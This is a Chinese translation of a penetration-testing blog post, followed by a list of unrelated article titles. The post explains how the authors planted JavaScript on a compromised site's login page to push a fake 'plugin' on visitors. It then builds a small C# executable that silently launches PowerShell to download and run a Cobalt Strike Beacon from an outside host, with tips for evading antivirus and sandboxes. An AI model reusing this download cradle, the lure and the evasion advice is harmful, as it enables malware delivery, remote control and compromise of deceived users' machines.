在进行渗透测试的过程中,我们有时候会希望使用可执行文件来完成某些任务。最近,我们在测试过程中拿下了一个网站,从而获得了一次发动水坑攻击的机会。

原文地址:https://www.peew.pw/blog/2017/11 … bles-for-pentesters


背景

于是, 我们将JavaScript嵌入网站的登录页面,提醒用户当前的应用程序需要安装一个浏览器插件才能正常使用,然后诱骗用户下载相应的“插件”。最初的时候,我们尝试利用一个HTA文件在用户的系统上执行PowerShell命令,以便建立一个连接我们的服务器(Cobalt Strike)的C2通道。但由于某种原因,这种方法在我们的目标系统上面无法正常使用。后来,我们在自己的多个系统上对这种攻击方法进行了尝试,结果一切正常,所以我们不知道HTA是被某些东西拦截了,还是引起了用户的怀疑,或者用户被HTA文件给搞糊涂了。不过不用担心,我们只要把HTA换成了一个定制的exe文件,我们的成功率就能超过50%。

然而,exe文件(也称为可移植可执行文件,也就是PE,因为它包含了由Windows运行所需的全部信息)的问题在于,它通常情况下必须写入磁盘,但是这样一来,它就很容易被AV软件发现。我们知道,各种红队工具(从Metasploit到Cobalt Strike)都能够生成一个通过C2通道反向连接攻击者机器的exe文件。虽然这些文件每个都不尽相同(这样就能确保具有不同的哈希值),但是,它们却很难逃过AV的法眼。

VirusTotal对Cobalt Strike默认的Beacon有效载荷的分析结果。

实际上,有许多工具可以将这些PE文件封装成不同的代码,以使其看起来跟原来不一样,从而逃避各种安全检测,这些工具包括之前非常流行的Veil-Evasion。 尽管Veil为攻击者提供了很多选项,但防御工具也对这种可执行文件封装器的路数了如指掌。

编写定制的PE文件绕过安全检测

事实证明,即使没有非常尖端的工具、先进的加密技术或0-day漏洞利用代码,也照样可以绕过99%的防御性产品。为此,只需要创建一些自定义的东西——那些安全软件从来没有见过的东西。这时候,编写定制的PE文件就派得上用场了。 我们将使用Visual Studio编写一个.NET可执行文件,让它来执行我们需要的命令。

首先,让我们启动Visual Studio并创建一个新项目。这里,我们可以使用“Windows Forms App (.NET Framework)”模板。

在Visual Studio中新建一个项目。

由于只是创建一个可以静默运行的可执行文件(无窗口),所以,我们可以删除Visual Studio创建的“Form1.cs”以及Program.cs中Main函数的内容。 如果你想为恶意软件创建一个更合理的前端视图,你可以保留这个表单,创建更加有用的外观。

删除系统为我们生成的表单后的项目。

接下来,我们将为读者介绍如何通过C#应用程序来启动一个程序。这里,我们将以PowerShell为例进行介绍。

(在以后的文章中,我们将介绍如何直接从C#程序加载代码,而无需启动另一个进程)

这里将使用System.Diagnostics.Process类来设置和启动我们的新进程。同时,这里将powershell.exe设置为我们的进程,并向其传递一个要执行的命令。 在这个例子中,我们会让PowerShell“沉睡”10秒,以便留出足够的时间来观察其中的运作机制。

static void Main()

{

Process process = new Process();

process.StartInfo.FileName = "powershell.exe";

process.StartInfo.Arguments = "-c "Start-Sleep -s 10"";

process.Start();

}

当运行该程序(点击顶部菜单中的“Start”按钮或按F5)的时候,您应该会看到一个PowerShell窗口停留10秒钟,然后关闭。你会注意到,最初的C#进程一旦启动PowerShell,它自己就会马上退出;它不会等待PowerShell进程退出。

为了观察PowerShell进程的行为表现,需要将窗口设置为隐藏状态。为此,可以直接使用ProcessStartInfo类,而不必在PowerShell中使用“-w hidden”参数,因为后一种做法常常会引起安全软件的怀疑。

process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

我们还可以将前面的sleep命令换成一个下载并执行指定有效载荷(例如Cobalt Strike的Beacon)的PowerShell命令。显然,我们需要设置好相应的有效载荷和监听器。

process.StartInfo.Arguments = "-c "IEX ((new-object net.webclient).downloadstring('http://10.7.254.230/beacon.ps1'))""

现在,终于到了exe文件出场的时候了。如果您已经通过了代码的最终版本,那么该exe文件将位于projectnamebinDebugprojectname.exe下的项目文件夹中。 如果你不想在自己的系统上运行有效载荷,你可以选择Build>Build Solution菜单项或者按F6来构建一个新的exe版本,而无需真正执行这个程序。

让我们看看效果到底是如何!

最后的效果

VirusTotal对我们定制的可执行文件的分析结果。

不错!

它看起来一切正常!

通过运行我们的自定义可执行文件获得的Beacon

下一步

很明显,五行自定义代码并不是一个长久的解决方案。我毫不怀疑,其他人也会发现这个方法非常有用,随着使用这种方法的人越来越多,这种方法也会渐渐被AV所察觉。然而,我们自己编写可执行文件的好处是,我们可以自定义程序的核心,并且可以随时随地进行大刀阔斧的修改。毕竟,通过添加无关的函数来隐藏代码是很容易的事情,无论是计算pi还是对列表进行排序的代码,都可以达到同样的效果。

我们也可以通过其他.NET函数来加强我们的程序。例如,如果我们知道目标系统的域名,我们可以在启动PowerShell进程之前检查该域名,以避免陷入沙箱。

很明显,我们在这里仍然调用了PowerShell,所以任何与此相关的日志或警报仍然适用。理想情况下,我们不会调用我们定制的可执行文件之外的任何程序。

下一个重要步骤是将有效载荷的所有内容都放入在可执行文件中。这里需要涉及许多方面,从在本地机器上托管PowerShell代码,到通过命令完成下载和执行,以及将shell代码加载到内存中。

猜你喜欢:利用Python CGIHTTPServer绕过CSRF令牌

手把手教渗透测试人员打造.NET可执行文件相关推荐

  1. 跟着源码一起学:手把手教你用WebSocket打造Web端IM聊天

    本文作者芋艿,原题"芋道 Spring Boot WebSocket 入门",本次有修订和改动. 一.引言 WebSocket如今在Web端即时通讯技术应用里使用广泛,不仅用于传统 ...

  2. 手把手教你使用树莓派打造一站式监测服务+私有云服务+家庭影音服务(小白向教程)...

    手把手教你使用树莓派打造一站式监测服务+私有云服务+家庭影音服务(小白向教程) 测试信息: 树莓派版本:4B 系统版本:2020-05-27 raspios-buster-full 目录 手把手教你使 ...

  3. 【网络安全】无需SOCKS支持,帮助广大渗透测试人员建立一条隐蔽的通信信道

    关于Ligolo-ng Ligolo-ng是一款高级信道工具,该工具基于TUN接口实现其功能.Ligolo-ng是一款轻量级的快速工具,可以帮助广大渗透测试人员利用反向TCP/TLS连接建立一条隐蔽的 ...

  4. 浅谈渗透测试人员职业发展路线

    引言 你有兴趣成为渗透测试工程师吗? 如果你对"五环法和脆弱性评估,以及利用系统和有效沟通调查结果的能力有一个透彻的理解",那么这可能就是适合你的领域. 一个 IT 专业人员如何才 ...

  5. 渗透测试人员应遵守的法律法规

    首先,遵守法律法规和道德准则可以保护渗透测试人员自身的安全和利益.如果违反法律或道德准则,渗透测试人员可能会受到法律制裁或伦理谴责,这将导致他们失去工作.执照或信誉,并面临法律风险.因此,渗透测试人员 ...

  6. 手把手教你用Python打造一款属于你自己的个性二维码

    击上方"Python爬虫与数据挖掘",进行关注 回复"书籍"即可获赠Python从入门到进阶共10本电子书 今 日 鸡 汤 今夜闻君琵琶语,如听仙乐耳暂明. / ...

  7. python网络安全设计_专为渗透测试人员设计的 Python 工具大合集

    如果你对漏洞挖掘.逆向工程分析或渗透测试感兴趣的话,我第一个要推荐给你的就是Python编程语言.Python不仅语法简单上手容易,而且它还有大量功能强大的库和程序可供我们使用.在这篇文章中,我们会给 ...

  8. 手把手教你用Python打造一个语音合成系统

    击上方"Python爬虫与数据挖掘",进行关注 回复"书籍"即可获赠Python从入门到进阶共10本电子书 今 日 鸡 汤 大弦嘈嘈如急雨,小弦切切如私语. / ...

  9. 对安全研究人员和渗透测试人员有用的Firefox 插件

    1.FoxyProxy Standard FoxyProxy 是一个高级的代理管理插件.它能够提高firefox的内置代理的兼容性.这儿也有一些其它的相似类型的代理管理插件.但是它可以提供更多的功能. ...

最新文章

  1. 会计学python有用吗-会计转到数据分析值得吗?
  2. python基础知识整理-在Python中处理日期和时间的基本知识点整理汇总
  3. Opencv获取导入DNN模型的各层信息
  4. 对计算机领域中间层的理解
  5. android项目闪屏页细节
  6. 勾股定理的形象拆分法,原来数学可以这么好玩!
  7. 第二章:图像处理基础
  8. 分布式精华问答:分布式环境下如何保持数据一致性的?| 技术头条
  9. 在tomcat下利用service.xml对项目进行映射部署
  10. Android的启动方式
  11. linux系统服务器配置snmptrap步骤
  12. 知识点 - 哈密顿图
  13. mac 删除磁盘图标_如何在Mac上更改硬盘图标
  14. html浏览xsd,那点你不知道的XHtml(Xml+Html)语法知识(DTD、XSD)
  15. 确实有必要好好学英语
  16. Oulipo HDU - 1686 (使用扩展kmp进行讨伐!)
  17. Java自幂数计算及其算法改进
  18. java web atm机_Java项目实现模拟ATM机
  19. ssm+JSP计算机毕业设计疫情期间北张村村民行程管理系统mwj1v【源码、程序、数据库、部署】
  20. 【收纳】电脑资料-高效整理电脑上的文件

热门文章

  1. Struts2异常| 页面写入s:debug/标签报错, 去掉此标签后正常显示
  2. NLTK学习笔记(二):文本、语料资源和WordNet汇总
  3. atlsoap.h”: No such file or directory
  4. SpringSide 3 中的 Struts 2
  5. Windows核心编程 第四章 进程(下)
  6. LA3403 天平难题
  7. hdu5056(找相同字母不出现k次的子串个数)
  8. 【Groovy】循环控制 ( Java 语法循环 | 默认的 IntRange 构造函数 | 可设置翻转属性的 IntRange 构造函数 | 可设置是否包含 to 的构造函数 | 0..9 简写 )
  9. 【错误记录】Android 应用配置第三方 so 动态库 ( /data/app/comxxx==/base.apk/lib/arm64-v8a]couldn‘t find “libx.so“ )
  10. 【Android 逆向】应用数据目录 ( files 数据目录 | lib 应用自带 so 动态库目录 | databases sqlite3 数据库目录 | cache 缓存目录 )